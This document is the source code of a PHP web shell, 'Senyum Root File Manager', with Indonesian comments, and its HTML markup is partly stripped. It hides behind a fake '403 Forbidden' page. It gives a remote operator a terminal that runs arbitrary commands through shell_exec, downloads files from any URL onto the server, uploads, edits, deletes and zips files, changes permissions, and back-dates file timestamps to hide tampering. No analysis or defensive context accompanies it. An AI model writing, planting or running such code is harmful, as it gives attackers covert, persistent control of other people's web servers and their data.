403 Forbidden

Access Denied

$error

"; ?> false,'err'=>'Invalid URL','path'=>null]; $basename = basename(parse_url($url, PHP_URL_PATH) ?? 'file.bin'); $basename = preg_replace('/[^A-Za-z0-9._-]/','_',$basename); $filename = $optname ? preg_replace('/[^A-Za-z0-9._-]/','_',basename($optname)) : $basename; $target = $base . DIRECTORY_SEPARATOR . $filename; $ok=false;$err=''; if (function_exists('curl_init')) { $ch=curl_init($url);$fp=@fopen($target,'w'); if($fp){ curl_setopt_array($ch,[ CURLOPT_FILE=>$fp, CURLOPT_FOLLOWLOCATION=>true, CURLOPT_TIMEOUT=>90, CURLOPT_FAILONERROR=>true ]); curl_exec($ch); $cerr=curl_error($ch); $code=curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch);fclose($fp); if(!$cerr && $code<400 && is_file($target)) $ok=true; else{@unlink($target);$err=$cerr?:("HTTP ".$code);} }else $err='Write fail'; } if(!$ok){ $data=@file_get_contents($url); if($data!==false && @file_put_contents($target,$data)!==false) $ok=true; else $err=$err?:'Download failed'; } if($ok)@chmod($target,0644); @chdir($cwdBackup); return ['ok'=>$ok,'err'=>$err,'path'=>$target]; } // Fungsi untuk menghapus folder dan isinya secara rekursif function delete_recursive($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($dir . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($dir); } // Fungsi untuk menambahkan folder ke dalam file Zip secara rekursif function add_folder_to_zip($folder, &$zip, $exclusive_length) { $handle = opendir($folder); while (false !== $f = readdir($handle)) { if ($f != '.' && $f != '..') { $filePath = "$folder/$f"; $localPath = substr($filePath, $exclusive_length); if (is_file($filePath)) { $zip->addFile($filePath, $localPath); } elseif (is_dir($filePath)) { $zip->addEmptyDir($localPath); add_folder_to_zip($filePath, $zip, $exclusive_length); } } } closedir($handle); } // Fungsi untuk mendapatkan izin file dalam format numerik (misal: 0755) function perms($p) { return substr(sprintf('%o', $p), -4); } // [FIXED] Fungsi untuk membuat tautan path navigasi (breadcrumbs) // Didesain ulang agar kompatibel dengan Windows dan Linux function make_path_links($current_path) { $path = str_replace('\\', '/', $current_path); // Standarisasi ke forward slash $parts = explode('/', trim($path, '/')); $output = ''; $built_path = ''; // Cek apakah ini path Windows (misal: "D:") atau Linux (root "/") if (preg_match('/^[a-zA-Z]:$/', $parts[0])) { // Windows path $drive = array_shift($parts); $built_path = $drive . '/'; $output .= '' . htmlspecialchars($drive) . ''; } else { // Linux path $built_path = '/'; $output .= '/'; } // Bangun sisa path foreach ($parts as $part) { if (empty($part)) continue; $built_path .= $part . '/'; $output .= '' . htmlspecialchars($part) . '' . '/'; } return rtrim($output, '/'); } // --- LOGIKA UTAMA & PEMROSESAN AKSI --- // Redirect ke path awal jika tidak ada parameter if (!isset($_GET['path'])) { $default = realpath($_SERVER['DOCUMENT_ROOT']); $default = str_replace('\\', '/', $default); // Standarisasi path header('Location: ?path=' . urlencode($default)); exit; } $path = realpath($_GET['path']); $path = $path ? str_replace('\\', '/', $path) : null; // Standarisasi path if (!$path || !is_dir($path)) die("Access denied or invalid path."); $msg = ''; $term_output = ''; $edit_file = ''; $edit_content = ''; $zip_enabled = class_exists('ZipArchive'); // --- ACTION HANDLERS (PENANGANAN AKSI) --- if (isset($_POST['dl_submit'])) { $cmd=trim($_POST['cmd']);$t=$_POST['dl_token']; if($t!==REMOTE_DL_TOKEN){ $msg = "Auth failed."; } else { $p=preg_split('/\s+/',$cmd,3); if(count($p)<2||strtolower($p[0])!=='download'){ $msg = "Use: download <url> [filename]"; } else { $r=__download_secure($p[1],$p[2]??''); $msg = $r['ok'] ? "Success: ".htmlspecialchars(basename($r['path'])) : "Error: ".htmlspecialchars($r['err']); } } } // Create Folder if (isset($_POST['new_folder'])) { $folder_name = trim($_POST['new_folder']); if ($folder_name !== '' && preg_match('/^[a-zA-Z0-9_\- ]+$/', $folder_name)) { $new_folder_path = $path . '/' . $folder_name; if (!file_exists($new_folder_path)) { $msg = mkdir($new_folder_path, 0755) ? "Folder created: " . htmlspecialchars($folder_name) : "Failed to create folder."; } else { $msg = "Folder already exists."; } } else { $msg = "Invalid folder name."; } } // Create File if (isset($_POST['new_file'])) { $file_name = trim($_POST['new_file']); if ($file_name !== '' && preg_match('/^[a-zA-Z0-9_\-\.]+$/', $file_name)) { $new_file_path = $path . '/' . $file_name; if (!file_exists($new_file_path)) { $msg = file_put_contents($new_file_path, '') !== false ? "File created: " . htmlspecialchars($file_name) : "Failed to create file."; } else { $msg = "File already exists."; } } else { $msg = "Invalid file name."; } } // Upload File if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $target = $path . '/' . basename($_FILES['upload_file']['name']); $msg = move_uploaded_file($_FILES['upload_file']['tmp_name'], $target) ? "File uploaded." : "Upload failed."; } // Edit file if (isset($_POST['edit_file'], $_POST['edit_data'])) { $f = realpath($path . '/' . $_POST['edit_file']); if ($f && is_file($f)) { $msg = file_put_contents($f, $_POST['edit_data']) !== false ? "File saved." : "Failed to save file."; } else { $msg = "Invalid file."; } } // Chmod if (isset($_POST['chmod_file'], $_POST['chmod_value'])) { $f = realpath($path . '/' . $_POST['chmod_file']); if ($f && file_exists($f)) { $perm = intval($_POST['chmod_value'], 8); $msg = @chmod($f, $perm) ? "Permissions changed." : "Failed to change permissions."; } } // Rename if (isset($_POST['rename_old'], $_POST['rename_new'])) { $old = realpath($path . '/' . $_POST['rename_old']); $new = $path . '/' . basename($_POST['rename_new']); if ($old && strpos(str_replace('\\', '/', $old), $path) === 0) { $msg = @rename($old, $new) ? "Renamed successfully." : "Failed to rename."; } else { $msg = "Invalid rename target."; } } // Touch file if (isset($_POST['touch_file'], $_POST['touch_time_string'])) { $file_to_touch = realpath($path . '/' . $_POST['touch_file']); $time = strtotime($_POST['touch_time_string']); if ($file_to_touch && file_exists($file_to_touch) && $time !== false) { $msg = touch($file_to_touch, $time) ? "Timestamp updated." : "Failed to update timestamp."; } else { $msg = "Invalid file or time format. Use YYYY-MM-DD HH:MM:SS."; } } // [NEW] Unzip if ($zip_enabled && isset($_POST['unzip_file'])) { $zip_path = realpath($path . '/' . $_POST['unzip_file']); if ($zip_path && is_file($zip_path) && strtolower(pathinfo($zip_path, PATHINFO_EXTENSION)) == 'zip') { $zip = new ZipArchive; if ($zip->open($zip_path) === TRUE) { $zip->extractTo($path); $zip->close(); $msg = 'File unzipped successfully.'; } else { $msg = 'Failed to unzip file.'; } } else { $msg = 'Invalid zip file.'; } } // [NEW] Bulk Delete if (isset($_POST['bulk_delete']) && !empty($_POST['selected_items'])) { $count = 0; foreach ($_POST['selected_items'] as $item) { $target = realpath($path . '/' . $item); if ($target && strpos(str_replace('\\', '/', $target), $path) === 0) { if (delete_recursive($target)) { $count++; } } } $msg = "$count items deleted."; } // [NEW] Bulk Zip if ($zip_enabled && isset($_POST['bulk_zip']) && !empty($_POST['selected_items'])) { $zip_name = !empty($_POST['zip_filename']) ? basename($_POST['zip_filename']) : 'archive.zip'; if (strtolower(pathinfo($zip_name, PATHINFO_EXTENSION)) != 'zip') $zip_name .= '.zip'; $zip_path = $path . '/' . $zip_name; if (!file_exists($zip_path)) { $zip = new ZipArchive(); if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) { foreach ($_POST['selected_items'] as $item) { $full_path = realpath($path . '/' . $item); if (!$full_path) continue; $full_path = str_replace('\\', '/', $full_path); if (is_file($full_path)) { $zip->addFile($full_path, basename($full_path)); } elseif (is_dir($full_path)) { add_folder_to_zip($full_path, $zip, strlen($path . '/')); } } $zip->close(); $msg = "Selected items zipped into " . htmlspecialchars($zip_name); } else { $msg = "Failed to create zip archive."; } } else { $msg = "Zip file already exists: " . htmlspecialchars($zip_name); } } // Terminal if (!empty($_POST['terminal_cmd'])) { $cmd = $_POST['terminal_cmd']; $term_output = shell_exec("cd " . escapeshellarg($path) . " && $cmd 2>&1") ?? "Command failed."; } // Load for editing if (isset($_GET['edit'])) { $edit_file = basename($_GET['edit']); $target = realpath($path . '/' . $edit_file); if ($target && is_file($target) && strpos(str_replace('\\', '/', $target), $path) === 0) { $edit_content = file_get_contents($target); } else { $edit_file = ''; $msg = "Cannot open file."; } } // --- FILE & FOLDER LISTING --- $raw_items = @scandir($path) ?: []; $items = array_diff($raw_items, ['.', '..']); $folders = []; $files = []; foreach ($items as $item) { if (is_dir($path . '/' . $item)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); $items = array_merge($folders, $files); ?> Senyum Root File Manager

Senyum File Manager

Directory:

Download From URL


Current dir:

Terminal

"; // Checkbox echo ""; // Name echo ""; // Size & Perms echo ""; echo ""; // Actions echo ""; echo ""; endforeach; ?>
Name Size Perms Actions
"; if ($is_dir) { echo "" . htmlspecialchars($i) . "/"; } else { echo "" . htmlspecialchars($i) . ""; } echo "" . ($is_dir ? 'Dir' : number_format(@filesize($fp))) . "$perms"; // Unzip Form if (!$is_dir && $zip_enabled && strtolower(pathinfo($fp, PATHINFO_EXTENSION)) == 'zip') { echo " "; } // Chmod Form echo "
"; // Rename Form echo "
"; // Touch Form $mtime_string = date("Y-m-d H:i:s", @filemtime($fp)); echo "
"; // Delete Form (single) echo "
"; echo "
With Selected: (Zip/Unzip disabled: PHP ZipArchive extension not found)

Editing:


Cancel